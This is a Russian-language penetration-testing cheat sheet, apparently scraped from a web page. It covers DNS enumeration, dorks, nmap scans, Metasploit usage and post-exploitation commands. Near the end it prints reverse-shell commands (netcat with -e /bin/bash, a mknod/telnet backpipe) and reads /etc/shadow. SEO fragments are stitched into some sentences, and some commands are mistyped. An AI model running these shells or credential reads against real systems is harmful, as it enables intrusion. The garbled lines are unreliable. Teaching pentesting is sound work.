Faq

Хакинг и тестирование на проникновение

Для иллюстрации, давайте выберем сценарий

Contents

  • PenTest - Penetration test - Тестирование на проникновение
  • Другие техники получения информации от DNS серверов
  • Исследование системы после проникновения (постэксплуатация)

Contents

  • PenTest - Penetration test - Тестирование на проникновение
  • Другие техники получения информации от DNS серверов
  • Исследование системы после проникновения (постэксплуатация)

Contents

  • PenTest - Penetration test - Тестирование на проникновение
  • Другие техники получения информации от DNS серверов
  • Исследование системы после проникновения (постэксплуатация)

PenTest - Penetration test - Тестирование на проникновение


Автоматизированное тестирование (сканеры)
Комбинированный метод (Best practice!)
White box (исполнитель проникновения располагает полной информацией о цели)
Black box (известно только название фирмы)
Планирование теста на проникновение.
Сбор информации о целевых сисх.
Поиск уязвимостей. (сканерами или вручную)
Проникновение в системы.
Написание и предоставление отчетаю
Очистка систем от последствий теста.
Резюме IT специалистов
Забытые системы (дефолтовые пароли, бинарные уязвимости)
Средства удалённой работы (VPN, веб морда почты, CRM)
Поисковые системы и интернет сервисы
Неактивное исследование публичных Интернет-ресурсов
Сканирование сетевых систем
Брут, фаззинг веб-директорий на сайте.
Распределенность хранения информации.
Запись A (IPv4 address record)
Запись AAAA (IPv6 address record)
Запись CNAME (canonical name record)
Запись MX (mail exchange)
Запись NS (name server)
Запись PTR (pointer)
Запись SOA (Start of Authority)
SRV-запись (server selection)
nslookup wikipedia.org ns1.wikimedia.org
nslookup домен днс-сервер
nslookup -type=mx example.com 192.168.56.100
nslookup без параметров начинает работу в режиме диалога
dig @ns.mail.ru mail.ru mx
dig @днс-сервер домен днс-запись
host -t ns example.com 192.168.56.100
host -t днс-запись домен днс-сервер
host -t any example.com 192.168.56.100 (все днс-записи)
for name is $(cat dns-name.txt):do
host $name.example.com 192.168.56.100
информацию о целевом хосте с сайта Netcraft.com;
имена субдоменов в целевом домене;
список открытых, отфильтрованных или закрытых портов на целевой машине.
Получение дополнительных имен и субдоменов, с использованием поисковой системы Google.
Поиск, имен субдоменов методом перебора значений из текстового файла (словаря). этичный хакинг Dnsenum, включенный в пакет BackTrack поставляется с файлом (dns.txt), содержащим 95 имён субдоменов.
Преобразование доменных IP-адресов в (reverse lookup).
Использовать отдельные потоки для разных запросов.
dnsrecon (DNS Enumeration Script) имеет сходные черты со всеми предыдущими инструментами, предназначенными для сбора информации о DNS. Однако имеет больше возможностей и опций.
dnsrecon.py -d example.com -t std
fierce.pl -dns targetdomain -threads 3

Другие техники получения информации от DNS серверов


DNS cache Snooping - это техника, позволяющая выяснить какие запросы были сделаны кеширующему DNS-серверу с помощью Time To Live (TTL) значений в своих ответах.
Передача зоны DNS, AXFR - вид транзакции DNS. Является одним из механизмов репликации баз DNS межу серверами.
dig @днс-сервер домен axfr (получаем список поддоменов. )
Различные онлайн сервисы
Автономная сис (AS) - равноправная часть интернета и её основа, из совокупности автономных систем и состоит интернет в целом. Полное определение автономной системы даёт RFC 1930. Номер автономной системы может быть 16-ти или 32-битным (был введен в 2007 году в связи с исчерпанием номеров) и обычно записывается AS12345 в случае 16-битного.
По сути, AS - idшник большой компании, закупившей диапазон адресов. Маленькие компании арендуют белые IP у провайдеров и не имеют AS.
применение - получение регистрационых данных о владельцах доменных имён, IP-адресов и автономных систем.
host pentestit.ru (узнали IP)
whois 188.40.122.74 (получили кучу информации)
whois -h asn.shadowserver.org 'origin 213.180.204.3' (получаем данные об IPшнике с сервера shadowserver.org)
whois -h asn.shadowserver.org 'prefix 12345' (информация по AS-номеру)
В поисковике: whois сервис
Ещё некоторую информацию можно добыть у регистаторов. Например, есть такой ресурс statonline.ru
Парсить автоматически обрабатывать (разбирать) с целью получения нужных данных. Например, парсить контент с сайтов.
Почти у всех современных популярных интернет поисковиков есть специальные опереаторы, которые позволяют более точно
Dorks - это классспециальным способом сформированных запросов. Дорки (от англ. dork - болван) не считаются хакерством, это
скорее способы, позволяющие очень точно сформулировать запрос поисковику.
Дорки относятся к пассивным методам исследования.
Обычные интернет поисковики
Операторы в поисковых запросах
Пунктуационные знаки и специальные символы в поисковых запросах
Google Hacking Database
Ключевые слова для расширенного поиска
Примеры запросов Google:
site:pentestit.ru (поиск поддоменов)
site:pentestit.ru -inurl:www.pentestit.ru (исключаем поддомен www)
Такой способ более тихий, нежели брут-днс. Пассивный и активный способы.
Ищем зарегестрированных пользователей
site:steamcommunity.com inurl:/id/ intext:Russian Federation
Для пентестеров: максим майоровский волгоград )))
Смотрим также google дорки, yandex дорки, bing дорки.
У bing есть параметр ip: для поиска по IP-адресу. облачные технологии и защита информации Можно узнать, есть ли веб-морды на сервере.
Примеры уязвимостей найденных через поисковики. Статьи:
Индексирование файла robots.txt
Ищите ошибки с помощью Google или взлом аккаунтов на badoo.com
FAQ по утечке текстов SMS с сайта Мегафона
Находим SQL-инъекцию в *******.alfabank.ru с помощью Google
Бумажные специалисты. Часть 3. РЖД
Поисковик для устройств подключенных к Интернет.
См. также расширенные фильтры.
Поиск сайтов на одном ip
Поисковик по изображению
Программное обеспечение (ПО) для автоматизации использования поисковых систем
TheHarvester (есть в дистрибутивах BackTrack и Kali Linux)
Цель этой программы заключается в сборе ящиков электронной почты, поддоменов, имен сотрудников, открытых портов и баннеров с
разных открытых интернет источников, таких как поисковые системы и Shodan.
Goofile (есть в дистрибутивах BackTrack и Kali Linux)
Ищет файлы разных форматов размещенных на указанных доменах.
SearchDiggity (под Windows)
Комбайн для дорков.
Метаданные - это субканальная информация об используемых данных.
Структурированные данные, представляющие собой характеристики описываемых сущностей для целей их идентификации, поиска,
оценки, управления ими.
Набор допустимых структурированных описаний, которые доступны в явном виде и предназначение которых может помочь найти
объект. Термин используется в контексте поиска объектов, сущностей, ресурсов.
Данные из более общей формальной системы, описывающей заданную систему данных.
Информация о содержащейся на веб-странице информации (создателе и т.п.) Пример: Имя автора правки в тексте. Этот термин в
широком смысле слова используется для любой информации о данных: имена таблиц, колонок в таблице в реляционных базах данных,
номер версии в файле программы (т.е. как информативная часть в бинарном файле) и т.п.
По простому, метаданные - это информация об информации. Очень известны метаданные в файлах mp3 и jpg.
Программы для работы с метаданными
FOCA (под Windows)
Metagoofil (для Linux)
exiftools (для Linux)
Программа для извлечения, записи и правки метаданных.
python metagoofil.py -d microsoft.com -t doc -l 200 -n 10 -o /tmp/microsoft
Для поиска: чистка метаданных
неактивное (через поисковики)
Программы для активного исследования
whatweb - Next generation web scanner (какой движок)
WPScan - WordPress Security Scanner. поиск уязвимостей на сайте Данная утилита собирает данные о всех известных уязвимостях WordPress (как в самом
движке, так и во всех его плагинах) и на базеэтого проверяет блог.
nikto - сканер уязвимостей web сервера. Nikto проверяет удалённый Web сервер на наличие известных уязвимостей и неправильной
dirb - DIRB is a Web Content Scanner (брутер веб-директорий)
DirBuster - многопоточный URL-брутфорсер
Автоматизация сбора информации (проведение разведки)
Socket = IP-адрес + номер порта
Список известных портов
162: Simple Network Management Protocol (SNMP)
123: Network Time Protocol (NTP)
110: Post Office Protocol (POP3)
80: Hypertext Transfer Protocol (HTTP)
69: Trivial File Transfer Protocol (TFTP) использует UDP без аутентификации
53: Domain Name System (DNS) service
25: Simple Mail Transfer Protocol (SMTP)
22: Secure Shell (SSH)
21: File Transfer Protocol (FTP) (control port) передача команд
20: FTP (data port) передача данных
143: Internet Message Access Protocol (IMAP)
Обычно сканируются 1000 самых используемых портов. Сканирование идёт не последовательно, а в порядке интересности.
nmap различает шесть состояний портов:
фильтруется (filtered) (обычно файрвол)
не фильтруется (unfiltered)
Тайминги (скорость сканирования)
параметр -T команды nmap
paranoid (параноидальный) -T0
sneaky (тихий) -T1
polite (вежливый) -T2
normal (обычный) -T3
aggressive (агрессивный) -T4
insane (безумный) -T5
-sS (TCP SYN сканирование)
-sT (TCP сканирование с использованием системного вызова connect)
-sU (UDP сканирование)
-sN; -sF; -sX (TCP NULL, FIN и Xmas сканирования)
-sA (TCP ACK сканирование)
-sn (No port scan)
nmap -A -T4 scanme.nmap.org
nmap -sn 192.168.10.0/24 сканирование сети, обнаружение хостов без сканирования портов
nmap -sS 192.168.10.11 син-сканирование, скрытое сканирование, полуоткрытое сканирование, только root
nmap -sT 192.168.10.11 коннект сканирование, медленное сканирование
nmap -sU 192.168.10.11 UDP-сканирование, без использования TCP
nmap -n -T4 -sA 192.168.10.30 акт-сканирование, обнаружение фильтрации, файрволов
nmap -n -sV 192.168.10.25 версии, подробная информация о сервисах, демонах
nmap -n -O 192.168.10.11 определение операционной системы и другой информации на основе анализа системы пакетов
Использование nmap со скриптами
(свои или стандартные скрипты)
nmap -sC запустится стандартный набор скриптов
nmap --script=название_скрипта по умолчанию хранятся в папке scpipts у нмапа
nmap -sV -p 443 --script=ssl-heartbleed 192.168.10.24 сканирование на уязвимости
Все описания скриптов нмапа можно найти на сайте nmap.org
unicornscan -mU -r200 -I 192.168.10.1
unicornscan -mU -r600 -mT 192.168.10.0/24:80,443 Сканирование UTP+TCP
unicornscan -msf -I 192.168.10.1 без прав рута
unicornscan -mT 192.168.10.1 -w filename.pcap
unicornscan -mT 192.168.10.25 -w somedump.pcap сохраняем дамп трафика
unicornscan можно использовать ещё и для отправки дофига пакетов из файла на какую-то цель сети
nmap работает медленнее, но точнее, чем unicornscan
nmap позволяет. Опция -D прописать через запятую ряд IP-адресов
Интегрируется с VirtualBox.
И инете можно дополнительно скачать образы маршрутизаторов.
Для поиска уязвимостей хостов используем metasploit. сканирование сайта на уязвимости Всё необходимое заранее установлено в Kali Linux.
Работа с metasploit. Вход в msfconsole.
Искать в инете: работа metasploit команды msfconsole
set название_опции значение
search ssh Здесь ssh кусок названия сканера
set SRVHOST 192.168.10.10
i) search keyword: запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение keyword имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.
ii) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.
iii) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. kali linux проверка сайта на уязвимости Запускаем команду show payloads и изучаем получившийся список.
iv) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.
v) info type name: если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.
vi) use exploit_name: команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.
vii) set RHOST hostname_or_ip: указываем этой командой Metasploit определенный хост в сети для его изучения. Запросы, похожие на «защита от sql-инъекций» Хост можно задать как по его имени, так и по IP-адресу.
viii) set RPORT host_port: задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.
ix) set payload generic/shell_bind_tcp: команда указывает имя payload'а, который будет использоваться.
x) set LPORT local_port: задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд).

Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо.

Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.
xi) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.
xii) help: команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.
Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.
См. также сканер уязвимостей NESSUS с веб-мордой

Исследование системы после проникновения (постэксплуатация)


Постэксплуатация на примере debian и centos
Команды для debian
cat /etc/issue какой дистрибутив используется
cat /proc/version информация по ядру
uname -A выведет всё что может
dmesg|grep Linux грепаем информацию из загрузки системы
ls /boot/ | grep vmlinuz-
env посмотреть все переменные окружения для текущего пользователя
lpstat -a принтеры подключенные
ps aux выведет все запущенные процессы
ps -ef аналогичный вывод с некоторыми отличиями
top мониторинг процессов
htop продвинутый вариант top
ps aux | grep root процессы запущенные от рута
dpkg -l установленные пакеты
grep -i pass /var/www/joomla/configuration.php Параметр -i поиск без учёта регистра
hostname покажет домен
hostname -f покажет поддомен
ip ro show показать табл маршрутизации
ifconfig -a показать ВСЕ сетевые интерфейсы, даже выключенные
route -n показать табл маршрутизации
netstat -lntup все процессы, слушающие сеть. лишние не выводит
chkconfig --list список всех служб
cat /etc/resolv.conf список ДНС-серверов
hostname первая часть доменного имени
dnsdomainname вторая часть доменного имени
cat /etc/shadow hex паролей
find / -perm -u=s -type f 2/dev/null ищем программы с суид-битом (s-бит)
find / -perm -o+w -type d 2/dev/null ищем каталоги расшаренные для записи
Команды для centos
cat /etc/redhat_release версия ос
rpm -q kernel информация о ядре
rpm -qa установленные пакеты
См. информацию по использованию утилиты tcpdump
Бекдоры, реверс shell. Проброс терминалов
nc 192.168.242.137 8080 -e /bin/bash проброс терминала
парамет -e выполнение команд есть не во всех версиях nc
nc -nvv -l 8080 прослушивание
mknod backpipe p
nc 192.168.242.137 8080 backpipe
Здесь 0-stdin, 1-stdout
mknod backpipe p telnet 192.168.242.137 8080 0backpipe |/bin/bash
См. также wget, curl
netstat -an|findstr 192
netsh диалог для настройки сетевых параметров
Пропинговка локальной сети
for /L %i in (1,1,254) do @ping -n1 192.168.242.%i | find TTL

Похожие статьи Pentest